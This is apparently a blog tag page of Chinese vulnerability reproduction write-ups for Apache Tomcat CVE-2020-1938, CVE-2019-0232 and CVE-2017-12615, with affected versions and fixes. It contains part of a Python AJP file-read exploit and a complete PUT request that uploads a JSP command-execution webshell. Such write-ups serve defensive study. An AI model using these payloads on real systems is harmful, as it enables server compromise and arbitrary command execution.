Tag:tomcat

Tag (tomcat)'s result:

Tomcat AJP 文件读取/包含漏洞(CVE-2020-1938 )重现及分析

0x00 概述 202002,网上曝出tomcat ajp的文件读取/包含漏洞。 Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。 —https://www.chaitin.cn/zh/ghostcat   0x01 影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 0x02 漏洞重现 1】 xray   去掉.100的注释,攻击也失败。   2】 Python版 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 文件读取 文件包含 //修改源码,加上jsp后缀即可文件包含 #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct   # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(“>h”, -1) l = len(s) return struct.pack(“>H%dsb” % l, l, s.encode(‘utf8’), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, “>h”) if size == -1: # null string return None res, = unpack(stream, “%ds” % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) ==……

tomcat rce漏洞重现(cve-2019-0232)

0x00 概述 2019.4,网上曝出出tomcat rce漏洞(cve-2019-0232),该漏洞是由于Tomcat CGI(jre)将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入,本文对此漏洞进行重现。 0x01 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93   0x02 漏洞重现 环境 tomcat 8.5.39/9.0.12+java 8u171 conf/web.xml 注意要去掉注释!!! 第六行web-inf/cgi-bin!!!(默认是web-inf/cgi,涉及访问路径) conf/context.xml Context 添加privileged=”true” 编写bat文件 重现成功! whoami和net user都空白,应该是权限不足。   0x03 结语 好鸡肋的漏洞,不仅要修改默认配置,还要传bat……(理论型漏洞如12615)   0x04 修复方案 升级到v9.0.19(增加了校验命令行参数) 不要乱改配置(除非你知道自己在干嘛……)   0x05 参考资料 https://xz.aliyun.com/t/4875 http://26.wf/?p=375

Tomcat cve-2017-12615 漏洞重现

0x00 概述 9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,分别为CVE-2017-12615和CVE-2017-12616。 Cve-2017-12615为远程代码执行,当 Tomcat启用了HTTP PUT请求(默认关闭),攻击者可通过构造的恶意请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。 Cve-2017-12616为信息泄漏,当Tomcat中启用了 VirtualDirContext时(7.x默认无),攻击者将能通过发送构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成源码信息泄露。   0x01 影响范围 CVE-2017-12615: Apache Tomcat 7.0.0 – 7.0.79 (windows) CVE-2017-12616:Apache Tomcat 7.0.0 – 7.0.80   0x02 12615重现 环境win7+tomcat7.0.56 手动使readonly为false,在web.xml配置,如下: <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> <init-param> ​ <param-name>readonly</param-name> ​ <param-value>false</param-value> </init-param> </servlet> 再put数据,三种姿势 xxx.jsp%20 xxx.jsp::$DATA xxx.jsp/ 这里测试第三种, Put数据包如下: PUT /conn.jsp/ HTTP/1.1 Host: 192.168.43.173:8082 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 <% if(“111”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“c”)).getInputStream(); int x = -1; byte[] y = new byte[2048]; out.print(“<pre>”); while((x=in.read(y))!=-1){ out.println(new String(y)); } out.print(“</pre>”); } %> 看看服务器 成功PUT文件conn.jsp 执行命令 重现成功! 经本人测试,此姿势在tomcat最新版7.0.81也有效! 0x03 修复方案 升级到最新版本 配置readonly和VirtualDirContext值为Ture 尽量禁put   0x04 结语 由于配置默认关闭了readonly和无VirtualDirContext,而且要手动添加,导致这两个漏洞很鸡肋,但是影响很广,危害巨大。   0x05 参考资料 www.freebuf.com/vuls/148283.html www.4hou.com/vulnerable/7743.html https://xianzhi.aliyun.com/forum/read.php?tid=2135&displayMode=1&page=1&toread=1#tpc https://xianzhi.aliyun.com/forum/read/2136.html https://www.seebug.org/vuldb/ssvid-96562